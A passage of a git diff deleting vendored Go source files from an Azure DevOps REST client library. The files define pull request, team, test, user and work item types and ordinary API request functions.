( - PullAbandoned PullRequestStatus = iota - PullActive - PullIncludeAll - PullCompleted - PullNotSet -) - -func (d PullRequestStatus) String() string { - return [...]string{"abandoned", "active", "all", "completed", "notSet"}[d] -} - -// PullRequestsService handles communication with the pull requests methods on the API -// utilising https://docs.microsoft.com/en-us/rest/api/vsts/git/pull%20requests -type PullRequestsService struct { - client *Client -} - -// PullRequestsCommitsResponse describes a pull requests commits response -type PullRequestsCommitsResponse struct { - Count int `json:"count"` - GitCommitRefs []*GitCommitRef `json:"value"` -} - -// PullRequestGetOptions describes what the request to the API should look like -type PullRequestGetOptions struct { - IncludeCommits bool `url:"includeCommits,omitempty"` - IncludeWorkItemRefs bool `url:"includeWorkItemRefs,omitempty"` - Project string `url:"project,omitempty"` - Organization string `url:"organization,omitempty"` - RepositoryID string `url:"repositoryId,omitempty"` - // maxCommentLength Not used. - MaxCommentLength int `url:"maxCommentLength,omitempty"` - PullRequestID int `url:"pullRequestId,omitempty"` - // $skip Not used. - Skip int `url:"$skip,omitempty"` - // $top Not used. - Top int `url:"$top,omitempty"` -} - -// PullRequestIterationsListOptions describes what the request to the API should look like -type PullRequestIterationsListOptions struct { - IncludeCommits bool `url:"includeCommits,omitempty"` -} - -// PullRequestsIterationsListResponse describes a pull requests list response -type PullRequestsIterationsListResponse struct { - Count int `json:"count"` - GitPullRequestIterations []*GitPullRequestIteration `json:"value"` -} - -// PullRequestsListResponse describes a pull requests list response -type PullRequestsListResponse struct { - Count int `json:"count"` - GitPullRequests []*GitPullRequest `json:"value"` -} - -// PullRequestsListCommitsResponse describes a pull requests list commits response -type PullRequestsListCommitsResponse struct { - Count int `json:"count"` - GitCommitRefs []*GitCommitRef `json:"value"` -} - -// PullRequestListOptions describes what the request to the API should look like -type PullRequestListOptions struct { - CreatorID string `url:"searchCriteria.creatorId,omitempty"` - IncludeLinks string `url:"searchCriteria.includeLinks,omitempty"` - Project string `url:"project,omitempty"` - RepositoryID string `url:"searchCriteria.repositoryId,omitempty"` - ReviewerID string `url:"searchCriteria.reviewerId,omitempty"` - Skip string `url:"$skip,omitempty"` - SourceRefName string `url:"searchCriteria.sourceRefName,omitempty"` - SourceRepositoryID string `url:"searchCriteria.sourceRepositoryId,omitempty"` - Status string `url:"searchCriteria.status,omitempty"` - TargetRefName string `url:"searchCriteria.targetRefName,omitempty"` - Top string `url:"$top,omitempty"` -} - -// List returns list of pull requests in the specified Team Project with optional -// filters -// https://docs.microsoft.com/en-us/rest/api/azure/devops/git/pull%20requests/get%20pull%20requests%20by%20project -func (s *PullRequestsService) List(ctx context.Context, owner, project string, opts *PullRequestListOptions) ([]*GitPullRequest, *http.Response, error) { - URL := fmt.Sprintf("%s/%s/_apis/git/pullrequests?api-version=5.1-preview.1", - owner, - project, - ) - URL, err := addOptions(URL, opts) - - req, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - - r := new(PullRequestsListResponse) - resp, err := s.client.Execute(ctx, req, r) - if err != nil { - return nil, nil, err - } - - return r.GitPullRequests, resp, err -} - -// Get returns a single pull request -// utilising https://docs.microsoft.com/en-us/rest/api/vsts/git/pull%20requests/get%20pull%20requests%20by%20project -func (s *PullRequestsService) Get(ctx context.Context, owner, project string, pullNum int, opts *PullRequestListOptions) (*GitPullRequest, *http.Response, error) { - URL := fmt.Sprintf("%s/%s/_apis/git/pullrequests/%d?api-version=5.1-preview.1", - owner, - project, - pullNum, - ) - URL, err := addOptions(URL, opts) - - req, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - r := new(GitPullRequest) - resp, err := s.client.Execute(ctx, req, r) - - return r, resp, err -} - -// GetWithRepo returns a single pull request with additional information -// https://docs.microsoft.com/en-us/rest/api/azure/devops/git/pull%20requests/get%20pull%20request?view=azure-devops-rest-5.1 -func (s *PullRequestsService) GetWithRepo(ctx context.Context, owner, project, repo string, pullNum int, opts *PullRequestGetOptions) (*GitPullRequest, *http.Response, error) { - URL := fmt.Sprintf("%s/%s/_apis/git/repositories/%s/pullrequests/%d?api-version=5.1-preview.1", - owner, - project, - repo, - pullNum, - ) - - URL, err := addOptions(URL, opts) - - req, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - r := new(GitPullRequest) - resp, err := s.client.Execute(ctx, req, r) - - return r, resp, err -} - -// Merge Completes a pull request -// pull may be nil -// https://docs.microsoft.com/en-us/rest/api/azure/devops/git/pull%20requests/update?view=azure-devops-rest-5.1 -func (s *PullRequestsService) Merge(ctx context.Context, owner, project string, repoName string, pullNum int, pull *GitPullRequest, completionOpts GitPullRequestCompletionOptions, id IdentityRef) (*GitPullRequest, *http.Response, error) { - URL := fmt.Sprintf("%s/%s/_apis/git/repositories/%s/pullrequests/%d?api-version=5.1-preview.1", - owner, - project, - repoName, - pullNum, - ) - - /* If pull not nil, prepare for merge - // otherwise create an empty GitPullRequest{} - if pull != nil { - } - */ - - // Construct request body from supplied parameters - body := &GitPullRequest{} - body.AutoCompleteSetBy = &id - body.CompletionOptions = &completionOpts - - // Now we're ready to make our API call to merge the pull request. - request, err := s.client.NewRequest("PATCH", URL, body) - if err != nil { - return nil, nil, err - } - r := new(GitPullRequest) - resp, err := s.client.Execute(ctx, request, r) - - return r, resp, err -} - -// Create Creates a pull request -// Required fields in the GitPullRequest{} are: -// * Title -// * Description -// * SourceRefName -// * TargetRefName -// -// SourceRefName can be either the full ref name "refs/heads/branchname" or -// just "branchname". The latter will be converted before submission. -// https://docs.microsoft.com/en-us/rest/api/azure/devops/git/pull%20requests/create?view=azure-devops-rest-5.1 -func (s *PullRequestsService) Create(ctx context.Context, owner, project string, repoName string, pull *GitPullRequest) (*GitPullRequest, *http.Response, error) { - URL := fmt.Sprintf("%s/%s/_apis/git/repositories/%s/pullrequests?api-version=5.1-preview.1", - owner, - project, - repoName, - ) - - if pull.GetTitle() == "" || pull.GetDescription() == "" || - pull.GetSourceRefName() == "" || pull.GetTargetRefName() == "" { - return nil, nil, errors.New("PullRequests.Create: Missing required field") - } - - formatRef(pull.SourceRefName) - formatRef(pull.TargetRefName) - - // Now we're ready to make our API call to create the pull request. - request, err := s.client.NewRequest("POST", URL, pull) - if err != nil { - return nil, nil, err - } - r := new(GitPullRequest) - resp, err := s.client.Execute(ctx, request, r) - - return r, resp, err -} - -// Comment Represents a comment which is one of potentially many in a comment thread. -type Comment struct { - Links *map[string]Link `json:"_links,omitempty"` - Author *IdentityRef `json:"author,omitempty"` - CommentType *string `json:"commentType,omitempty"` - Content *string `json:"content,omitempty"` - ID *int `json:"id,omitempty"` - IsDeleted *bool `json:"isDeleted,omitempty"` - LastContentUpdatedDate *Time `json:"lastContentUpdatedDate,omitempty"` - LastUpdatedDate *Time `json:"lastUpdatedDate,omitempty"` - ParentCommentID *int `json:"parentCommentId,omitempty"` - PublishedDate *Time `json:"publishedDate,omitempty"` - UsersLiked []*IdentityRef `json:"usersLiked,omitempty"` -} - -// CommentPosition describes a comment position -type CommentPosition struct { - Line *int `json:"line,omitempty"` - Offset *int `json:"offset,omitempty"` -} - -// GitPullRequestCommentThread Represents a comment thread of a pull request. -// A thread contains meta data about the file it was left on along with one or -// more comments (an initial comment and the subsequent replies). -type GitPullRequestCommentThread struct { - Links *map[string]Link `json:"_links,omitempty"` - Comments []*Comment `json:"comments,omitempty"` - ID *int `json:"id,omitempty"` - Identities []*IdentityRef `json:"identities,omitempty"` - IsDeleted *bool `json:"isDeleted,omitempty"` - LastUpdatedDate *Time `json:"lastUpdatedDate,omitempty"` - Properties []*int `json:"properties,omitempty"` - PublishedDate *Time `json:"publishedDate,omitempty"` - Status *string `json:"status,omitempty"` - PullRequestThreadContext *GitPullRequestCommentThreadContext `json:"pullRequestThreadContext,omitempty"` -} - -// GitPullRequestCommentThreadContext Comment thread context contains details about what -// diffs were being viewed at the time of thread creation and whether or not the thread -// has been tracked from that original diff. -type GitPullRequestCommentThreadContext struct { - FilePath *string `json:"filePath,omitempty"` - LeftFileEnd *CommentPosition `json:"leftFileEnd,omitempty"` - LeftFileStart *CommentPosition `json:"leftFileStart,omitempty"` - RightFileEnd *CommentPosition `json:"rightFileEnd,omitempty"` - RightFileStart *CommentPosition `json:"rightFileStart,omitempty"` -} - -// GitPullRequestWithComment contains a reference to an existing pull request and a -// comment. -type GitPullRequestWithComment struct { - Comment *Comment `json:"comment,omitempty"` - PullRequest *GitPullRequest `json:"pullRequest,omitempty"` -} - -// ListCommits lists the commits in a pull request. -// Azure Devops API docs: https://docs.microsoft.com/en-us/rest/api/azure/devops/git/pull%20request%20commits/get%20pull%20request%20commits -// -func (s *PullRequestsService) ListCommits(ctx context.Context, owner, project, repo string, pullNum int) ([]*GitCommitRef, *http.Response, error) { - URL := fmt.Sprintf("%s/%s/_apis/git/repositories/%s/pullrequests/%d/commits?api-version=5.1-preview.1", - owner, - project, - repo, - pullNum, - ) - - req, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - - r := new(PullRequestsListCommitsResponse) - resp, err := s.client.Execute(ctx, req, r) - if err != nil { - return nil, nil, err - } - - return r.GitCommitRefs, resp, err -} - -// CreateComment adds a comment to a pull request thread. -// Azure Devops API docs: https://docs.microsoft.com/en-us/rest/api/azure/devops/git/pull%20request%20thread%20comments/create -// -func (s *PullRequestsService) CreateComment(ctx context.Context, owner, project, repo string, pullNum int, threadId int, comment *Comment) (*Comment, *http.Response, error) { - URL := fmt.Sprintf("%s/%s/_apis/git/repositories/%s/pullrequests/%d/threads/%d/comments?api-version=5.1-preview.1", - owner, - project, - repo, - pullNum, - threadId, - ) - - if comment.GetContent() == "" { - return nil, nil, errors.New("PullRequests.CreateComment: Nil pointer or empty string in comment.Content field ") - } - - if comment.GetCommentType() == "" { - comment.CommentType = String("text") - } - - req, err := s.client.NewRequest("POST", URL, comment) - if err != nil { - return nil, nil, err - } - - r := new(Comment) - resp, err := s.client.Execute(ctx, req, r) - if err != nil { - return nil, nil, err - } - - return r, resp, err -} - -// CreateComments adds one or more comments to a new or existing thread -// and may include additional context -// Azure Devops API docs: https://docs.microsoft.com/en-us/rest/api/azure/devops/git/pull%20request%20threads/create -// -func (s *PullRequestsService) CreateComments(ctx context.Context, owner, project, repo string, pullNum int, body *GitPullRequestCommentThread) (*GitPullRequestCommentThread, *http.Response, error) { - URL := fmt.Sprintf("%s/%s/_apis/git/repositories/%s/pullrequests/%d/threads?api-version=5.1-preview.1", - owner, - project, - repo, - pullNum, - ) - - if len(body.Comments) == 0 { - return nil, nil, errors.New("PullRequests.CreateComments: Must supply at least one comment in Comments field") - } - - for idx, comment := range body.Comments { - if comment.GetContent() == "" { - return nil, nil, errors.New("PullRequests.CreateComment: Nil pointer or empty string in comment.Content field ") - } - - if comment.GetCommentType() == "" { - body.Comments[idx].CommentType = String("text") - } - } - - req, err := s.client.NewRequest("POST", URL, body) - if err != nil { - return nil, nil, err - } - - r := new(GitPullRequestCommentThread) - resp, err := s.client.Execute(ctx, req, r) - if err != nil { - return nil, nil, err - } - - return r, resp, err -} - -// CreateStatus Create a pull request status. -// Azure Devops API docs: https://docs.microsoft.com/en-us/rest/api/azure/devops/git/pull%20request%20statuses/create -// -func (s *PullRequestsService) CreateStatus(ctx context.Context, owner, project, repo string, pullNum int, status *GitPullRequestStatus) (*GitPullRequestStatus, *http.Response, error) { - URL := fmt.Sprintf("%s/%s/_apis/git/repositories/%s/pullrequests/%d/statuses?api-version=5.1-preview.1", - owner, - project, - repo, - pullNum, - ) - - if context := status.GetContext(); context != nil { - if context.GetName() == "" { - return nil, nil, errors.New("CreateStatus: Must supply a value for Context.Name") - } - } - - req, err := s.client.NewRequest("POST", URL, status) - if err != nil { - return nil, nil, err - } - - r := new(GitPullRequestStatus) - resp, err := s.client.Execute(ctx, req, r) - if err != nil { - return nil, nil, err - } - - return r, resp, err -} - -// GetIteration Gets a single pull request iteration. -// Azure Devops API docs: https://docs.microsoft.com/en-us/rest/api/azure/devops/git/pull%20request%20iterations/get?view=azure-devops-rest-5.1 -// -func (s *PullRequestsService) GetIteration(ctx context.Context, owner, project, repo string, pullNum int, iterationID int) (*GitPullRequestIteration, *http.Response, error) { - URL := fmt.Sprintf("%s/%s/_apis/git/repositories/%s/pullrequests/%d/iterations/%d?api-version=5.1", - owner, - project, - repo, - pullNum, - iterationID, - ) - - req, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - - r := new(GitPullRequestIteration) - resp, err := s.client.Execute(ctx, req, r) - if err != nil { - return nil, nil, err - } - - return r, resp, err -} - -// ListIterations Lists all iterations on a pull request. -// Azure Devops API docs: https://docs.microsoft.com/en-us/rest/api/azure/devops/git/pull%20request%20iterations/list?view=azure-devops-rest-5.1 -// -func (s *PullRequestsService) ListIterations(ctx context.Context, owner, project, repo string, pullNum int, opts *PullRequestIterationsListOptions) ([]*GitPullRequestIteration, *http.Response, error) { - URL := fmt.Sprintf("%s/%s/_apis/git/repositories/%s/pullrequests/%d/iterations?api-version=5.1", - owner, - project, - repo, - pullNum, - ) - - URL, err := addOptions(URL, opts) - - req, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - - r := new(PullRequestsIterationsListResponse) - resp, err := s.client.Execute(ctx, req, r) - if err != nil { - return nil, nil, err - } - - return r.GitPullRequestIterations, resp, err -} diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/release.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/release.go deleted file mode 100644 index c21571c8dd..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/release.go +++ /dev/null @@ -1,11 +0,0 @@ -// +build !debug - -package azuredevops - -import "net/http" - -// Idea from: -// https://dave.cheney.net/2014/09/28/using-build-to-switch-between-debug-and-release -func debug(fmt string, args ...interface{}) {} - -func debugReq(*http.Request) {} diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/teams.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/teams.go deleted file mode 100644 index 8a4615e471..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/teams.go +++ /dev/null @@ -1,88 +0,0 @@ -package azuredevops - -import ( - "context" - "fmt" - "net/http" -) - -// TeamsService handles communication with the teams methods on the API -// utilising https://docs.microsoft.com/en-us/rest/api/vsts/core/teams/get%20all%20teams -type TeamsService struct { - client *Client -} - -// Project Describes a project -type Project struct { - ID *string `json:"id,omitempty"` - Name *string `json:"name,omitempty"` - Description *string `json:"description,omitempty"` - URL *string `json:"url,omitempty"` - State *string `json:"state,omitempty"` - Revision *int `json:"revision,omitempty"` - Visibility *string `json:"visibility,omitempty"` - LastUpdateTime *Time `json:"lastUpdateTime,omitempty"` -} - -// Team describes what a team looks like -type Team struct { - ID *string `url:"id,omitempty"` - Name *string `url:"name,omitempty"` - URL *string `url:"url,omitempty"` - Description *string `url:"description,omitempty"` -} - -// TeamsListOptions describes what the request to the API should look like -type TeamsListOptions struct { - Mine *bool `url:"$mine,omitempty"` - Top *int `url:"$top,omitempty"` - Skip *int `url:"$skip,omitempty"` -} - -// TeamsListResponse Requests that may return multiple entities use this format -type TeamsListResponse struct { - Count int `json:"count,omitempty"` - Teams []*Team `json:"value,omitempty"` -} - -// TeamProjectCollectionReference Reference object for a TeamProjectCollection. -type TeamProjectCollectionReference struct { - ID *string `json:"id,omitempty"` - Name *string `json:"name,omitempty"` - URL *string `json:"url,omitempty"` -} - -// TeamProjectReference Represents a shallow reference to a TeamProject. -type TeamProjectReference struct { - Abbreviation *string `json:"abbreviation,omitempty"` - DefaultTeamImageURL *string `json:"defaultTeamImageUrl,omitempty"` - Description *string `json:"description,omitempty"` - ID *string `json:"id,omitempty"` - Name *string `json:"name,omitempty"` - Revision *int `json:"revision,omitempty"` - State *string `json:"state,omitempty"` - URL *string `json:"url,omitempty"` - Visibility *string `json:"visibility,omitempty"` - LastUpdateTime *Time `json:"lastUpdateTime,omitempty"` -} - -// List returns list of the teams -// https://docs.microsoft.com/en-us/rest/api/azure/devops/core/teams/get%20teams -// GET https://dev.azure.com/{organization}/_apis/projects/{projectId}/teams?api-version=5.1-preview.2 -func (s *TeamsService) List(ctx context.Context, owner, project string, opts *TeamsListOptions) ([]*Team, *http.Response, error) { - URL := fmt.Sprintf("%s/%s/_apis/teams?api-version=5.1-preview.1", - owner, - project, - ) - URL, err := addOptions(URL, opts) - - u, _ := s.client.BaseURL.Parse(URL) - req, err := s.client.NewRequest("GET", u.String(), nil) - if err != nil { - return nil, nil, err - } - r := new(TeamsListResponse) - resp, err := s.client.Execute(ctx, req, r) - - return r.Teams, resp, err -} diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/tests.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/tests.go deleted file mode 100644 index f72cd8c936..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/tests.go +++ /dev/null @@ -1,159 +0,0 @@ -package azuredevops - -import ( - "context" - "fmt" - "net/http" -) - -// TestsService handles communication with the Tests methods on the API -// utilising https://docs.microsoft.com/en-gb/rest/api/vsts/test -type TestsService struct { - client *Client -} - -// TestListResponse is the wrapper around the main response for the List of Tests -type TestListResponse struct { - Count int `json:"count,omitempty"` - Tests []*Test `json:"value,omitempty"` -} - -// Test represents a test -type Test struct { - ID *int `json:"id,omitempty"` - Name *string `json:"name,omitempty"` - URL *string `json:"url,omitempty"` - IsAutomated *bool `json:"isAutomated,omitempty"` - Iteration *string `json:"iteration,omitempty"` - Owner *struct { - ID string `json:"id,omitempty"` - DisplayName string `json:"displayName,omitempty"` - } `json:"owner,omitempty"` - StartedDate *string `json:"startedDate,omitempty"` - CompletedDate *string `json:"completedDate,omitempty"` - State *string `json:"state,omitempty"` - Plan *struct { - ID string `json:"id,omitempty"` - } `json:"plan,omitempty"` - Revision *int `json:"revision,omitempty"` -} - -// TestsListOptions describes what the request to the API should look like -type TestsListOptions struct { - Count *int `url:"$top,omitempty"` - BuildURI *string `url:"buildUri,omitempty"` -} - -// List returns list of the tests -// utilising https://docs.microsoft.com/en-gb/rest/api/vsts/test/runs/list -func (s *TestsService) List(ctx context.Context, owner, project string, opts *TestsListOptions) ([]*Test, *http.Response, error) { - URL := fmt.Sprintf("%s/%s/_apis/test/runs?api-version=4.1", - owner, - project, - ) - URL, err := addOptions(URL, opts) - - req, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - r := new(TestListResponse) - resp, err := s.client.Execute(ctx, req, r) - - return r.Tests, resp, err -} - -// TestResultsListResponse is the wrapper around the main response for the List of Tests -type TestResultsListResponse struct { - Results []TestResult `json:"value"` -} - -// TestResult represents a test result -type TestResult struct { - ID int `json:"id"` - Project struct { - ID string `json:"id"` - Name string `json:"name"` - URL string `json:"url"` - } `json:"project"` - StartedDate Time `json:"startedDate"` - CompletedDate Time `json:"completedDate"` - DurationInMs float64 `json:"durationInMs"` - Outcome string `json:"outcome"` - Revision int `json:"revision"` - RunBy struct { - ID string `json:"id"` - DisplayName string `json:"displayName"` - UniqueName string `json:"uniqueName"` - URL string `json:"url"` - ImageURL string `json:"imageUrl"` - } `json:"runBy"` - State string `json:"state"` - TestCase struct { - ID string `json:"id"` - Name string `json:"name"` - } `json:"testCase"` - TestRun struct { - ID string `json:"id"` - Name string `json:"name"` - URL string `json:"url"` - } `json:"testRun"` - LastUpdatedDate Time `json:"lastUpdatedDate"` - LastUpdatedBy struct { - ID string `json:"id"` - DisplayName string `json:"displayName"` - UniqueName string `json:"uniqueName"` - URL string `json:"url"` - ImageURL string `json:"imageUrl"` - } `json:"lastUpdatedBy"` - Priority int `json:"priority"` - ComputerName string `json:"computerName"` - Build struct { - ID string `json:"id"` - Name string `json:"name"` - URL string `json:"url"` - } `json:"build"` - CreatedDate Time `json:"createdDate"` - URL string `json:"url"` - FailureType string `json:"failureType"` - AutomatedTestStorage string `json:"automatedTestStorage"` - AutomatedTestType string `json:"automatedTestType"` - AutomatedTestTypeID string `json:"automatedTestTypeId"` - AutomatedTestID string `json:"automatedTestId"` - Area struct { - ID string `json:"id"` - Name string `json:"name"` - URL string `json:"url"` - } `json:"area"` - TestCaseTitle string `json:"testCaseTitle"` - CustomFields []interface{} `json:"customFields"` - AutomatedTestName string `json:"automatedTestName"` - StackTrace string `json:"stackTrace"` -} - -// TestResultsListOptions describes what the request to the API should look like -type TestResultsListOptions struct { - Count int `url:"$top,omitempty"` - RunID string `url:"runId,omitempty"` -} - -// ResultsList returns list of the test results -// utilising https://docs.microsoft.com/en-gb/rest/api/vsts/test/runs/list -func (s *TestsService) ResultsList(ctx context.Context, owner, project string, opts *TestResultsListOptions) ([]TestResult, error) { - URL := fmt.Sprintf("%s/%s/_apis/test/Runs/%s/results?api-version=4.1", - owner, - project, - opts.RunID, - ) - opts.RunID = "" - URL, err := addOptions(URL, opts) - - request, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, err - } - var response TestResultsListResponse - _, err = s.client.Execute(ctx, request, &response) - - return response.Results, err -} diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/users.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/users.go deleted file mode 100644 index b3d1837855..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/users.go +++ /dev/null @@ -1,188 +0,0 @@ -package azuredevops - -import ( - "context" - "fmt" - "net/http" -) - -// UsersService handles communication with the Graph.Users methods on the API -// utilising https://docs.microsoft.com/en-us/rest/api/azure/devops/graph/users/get -type UsersService struct { - client *Client -} - -// GraphGroup is the parent struct describing a Microsoft Graph group for Azure Devops -type GraphGroup struct { - GraphMember - /** - * A short phrase to help human readers disambiguate groups with similar names - */ - Description *string `json:"description,omitempty"` - IsCrossProject *bool `json:"isCrossProject,omitempty"` - IsDeleted *bool `json:"isDeleted,omitempty"` - IsGlobalScope *bool `json:"isGlobalScope,omitempty"` - IsRestrictedVisible *bool `json:"isRestrictedVisible,omitempty"` - LocalScopeID *string `json:"localScopeId,omitempty"` - ScopeID *string `json:"scopeId,omitempty"` - ScopeName *string `json:"scopeName,omitempty"` - ScopeType *string `json:"scopeType,omitempty"` - SecuringHostID *string `json:"securingHostId,omitempty"` - SpecialType *string `json:"specialType,omitempty"` -} - -// GraphMember is a child of the GraphUser struct -type GraphMember struct { - GraphSubject - /** - * This represents the name of the container of origin for a graph member. - * (For MSA this is "Windows Live ID", for AD the name of the domain, for - * AAD the tenantID of the directory, for VSTS groups the ScopeId, etc) - */ - Domain *string `json:"domain,omitempty"` - /** - * The email address of record for a given graph member. This may be - * different than the principal name. - */ - MailAddress *string `json:"mailAddress,omitempty"` - /** - * This is the PrincipalName of this graph member from the source - * provider. The source provider may change this field over time and it - * is not guaranteed to be immutable for the life of the graph member by - * VSTS. - */ - PrincipalName *string `json:"principalName,omitempty"` -} - -// GraphSubjectBase Base struct for other graph entities -type GraphSubjectBase struct { - /* - * This field contains zero or more interesting links about the graph - * subject. These links may be invoked to obtain additional relationships - * or more detailed information about this graph subject. - */ - Links map[string]Link `json:"_links,omitempty"` - /** - * The descriptor is the primary way to reference the graph subject while - * the system is running. This field will uniquely identify the same - * graph subject across both Accounts and Organizations. - */ - Descriptor *string `json:"descriptor,omitempty"` - /** - * This is the non-unique display name of the graph subject. To change - * this field, you must alter its value in the source provider. - */ - DisplayName *string `json:"displayName,omitempty"` - /** - * This url is the full route to the source resource of this graph subject. - */ - URL *string `json:"url,omitempty"` -} - -// GraphSubject A graph subject entity -type GraphSubject struct { - GraphSubjectBase - /** - * [Internal Use Only] The legacy descriptor is here in case you need to - * access old version IMS using identity descriptor. - */ - LegacyDescriptor *string `json:"legacyDescriptor,omitempty"` - /** - * The type of source provider for the origin identifier (ex:AD, AAD, MSA) - */ - Origin *string `json:"origin,omitempty"` - /** - * The unique identifier from the system of origin. Typically a sid, object - * id or Guid. Linking and unlinking operations can cause this value to - * change for a user because the user is not backed by a different provider - * and has a different unique id in the new provider. - */ - OriginID *string `json:"originId,omitempty"` - /** - * This field identifies the type of the graph subject (ex: Group, Scope, User). - */ - SubjectKind *string `json:"subjectKind,omitempty"` -} - -// GraphUser is the parent struct describing a Microsoft Graph user for Azure Devops -type GraphUser struct { - GraphMember - IsDeletedInOrigin *bool `json:"isDeletedOrigin,omitempty"` - MetadataUpdateDate *Time `json:"metadataUpdateDate,omitempty"` - /** - * The meta type of the user in the origin, such as "member", "guest", - * etc. See UserMetaType for the set of possible values. - */ - MetaType *string `json:"metaType,omitempty"` -} - -// GraphUsersListResponse describes what a response from the Users.List() -// API should look like -type GraphUsersListResponse struct { - Count int `json:"count"` - GraphUsers []*GraphUser `json:"value"` -} - -// Get returns information about a single user in an org -// https://docs.microsoft.com/en-us/rest/api/azure/devops/graph/users/get -func (s *UsersService) Get(ctx context.Context, owner, descriptor string) (*GraphUser, *http.Response, error) { - URL := fmt.Sprintf("%s%s/_apis/graph/users/%s?api-version=5.1-preview.1", - s.client.VsspsBaseURL.String(), - owner, - descriptor, - ) - - request, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - var r GraphUser - resp, err := s.client.Execute(ctx, request, &r) - - return &r, resp, err -} - -// List returns a list of users in an org -// utilising https://docs.microsoft.com/en-us/rest/api/azure/devops/graph/users/list -func (s *UsersService) List(ctx context.Context, owner string) ([]*GraphUser, *http.Response, error) { - URL := fmt.Sprintf("%s%s/_apis/graph/users?api-version=5.1-preview.1", - s.client.VsspsBaseURL.String(), - owner, - ) - - request, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - var r GraphUsersListResponse - resp, err := s.client.Execute(ctx, request, &r) - - return r.GraphUsers, resp, err -} - -// GraphDescriptorResult Returns user descriptor and links related to the -// request -type GraphDescriptorResult struct { - Links map[string]Link `json:"_links,omitempty"` - Value *string `json:"value,omitempty"` -} - -// GetDescriptors returns descriptors for one or more users based on filter -// criteria -// https://docs.microsoft.com/en-us/rest/api/azure/devops/graph/descriptors/get?view=azure-devops-rest-5.1 -func (s *UsersService) GetDescriptors(ctx context.Context, owner, storageKey string) (*GraphDescriptorResult, *http.Response, error) { - URL := fmt.Sprintf("%s%s/_apis/graph/descriptors/%s?api-version=5.1-preview.1", - s.client.VsspsBaseURL.String(), - owner, - storageKey, - ) - - request, err := s.client.NewRequest("GET", URL, nil) - if err != nil { - return nil, nil, err - } - r := &GraphDescriptorResult{} - resp, err := s.client.Execute(ctx, request, r) - - return r, resp, err -} diff --git a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/work_items.go b/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/work_items.go deleted file mode 100644 index 9974888e04..0000000000 --- a/vendor/github.com/mcdafydd/go-azuredevops/azuredevops/work_items.go +++ /dev/null @@ -1,259 +0,0 @@ -package azuredevops - -import ( - "context" - "fmt" - "net/http" - "net/url" - "strconv" - "strings" -) - -// WorkItemsService handles communication with the work items methods on the API -// utilising https://docs.microsoft.com/en-gb/rest/api/vsts/wit/work%20items -type WorkItemsService struct { - client *Client -} - -// IterationWorkItems Represents work items in an iteration backlog -type IterationWorkItems struct { - Links *map[string]Link `json:"_links,omitempty"` - WorkItemRelations []*WorkItemLink `json:"workItemRelations"` - URL *string `json:"url,omitempty"` -} - -// WorkItemComment Describes a response to CreateComment -type WorkItemComment struct { - CreatedBy *IdentityRef `json:"createdBy,omitempty"` - CreatedDate *Time `json:"createdDate,omitempty"` - ID *int `json:"id,omitempty"` - ModifiedBy *IdentityRef `json:"modifiedBy,omitempty"` - ModifiedDate *Time `json:"modifiedDate,omitempty"` - Text *string `json:"text,omitempty"` - URL *string `json:"url,omitempty"` - Version *int `json:"version,omitempty"` - WorkItemID *int `json:"workItemId,omitempty"` -} - -// WorkItemCommentList Represents a list of work item comments. -type WorkItemCommentList struct { - Links *map[string]Link `json:"_links,omitempty"` - Comments []*WorkItemComment `json:"comments,omitempty"` - ContinuationToken *string `json:"continuationToken,omitempty"` - Count *int `json:"count,omitempty"` - NextPage *string `json:"nextPage,omitempty"` - TotalCount *int `json:"totalCount,omitempty"` - URL *string `json:"url,omitempty"` -} - -// WorkItemCommentListOptions URI parameters for ListComments -// Valid Expand strings are: -// all, mentions, none, reactions, renderedText, renderedTextOnly -type WorkItemCommentListOptions struct { - IDs []int `url:"ids,omitempty"` - IncludeDeleted bool `url:"includeDeleted,omitempty"` - Expand string `url:"$expand,omitempty"` -} - -// WorkItemLink A link between two work items. -type WorkItemLink struct { - Rel *string `json:"rel,omitempty"` - Source *WorkItemReference `json:"source,omitempty"` - Target *WorkItemReference `json:"target,omitempty"` -} - -// WorkItemListResponse describes the list response for work items -type WorkItemListResponse struct { - Count int `json:"count,omitempty"` - WorkItems []*WorkItem `json:"value,omitempty"` -} - -// WorkItem describes an individual work item in TFS -type WorkItem struct { - Links *map[string]Link `json:"_links,omitempty"` - CommentVersionRef *CommentVersionRef `json:"commentVersionRef,omitempty"` - Fields *map[string]interface{} `json:"fields,omitempty"` - ID *int `json:"id,omitempty"` - Relations []*WorkItemRelation `json:"relations,omitempty"` - Rev *int `json:"rev,omitempty"` - URL *string `json:"url,omitempty"` -} - -// WorkItemFieldUpdate Describes an update to a work item field. -type WorkItemFieldUpdate struct { - NewValue interface{} `json:"newValue,omitempty"` - OldValue interface{} `json:"oldValue,omitempty"` -} - -// WorkItemRelationUpdates Describes updates to a work item's relations. -type WorkItemRelationUpdates struct { - Added []*WorkItemRelation `json:"added,omitempty"` - Removed []*WorkItemRelation `json:"removed,omitempty"` - Updated []*WorkItemRelation `json:"updated,omitempty"` -} - -// CommentVersionRef refers to the specific version of a comment -type CommentVersionRef struct { - CommentID *int `json:"commentId,omitempty"` - Version *int 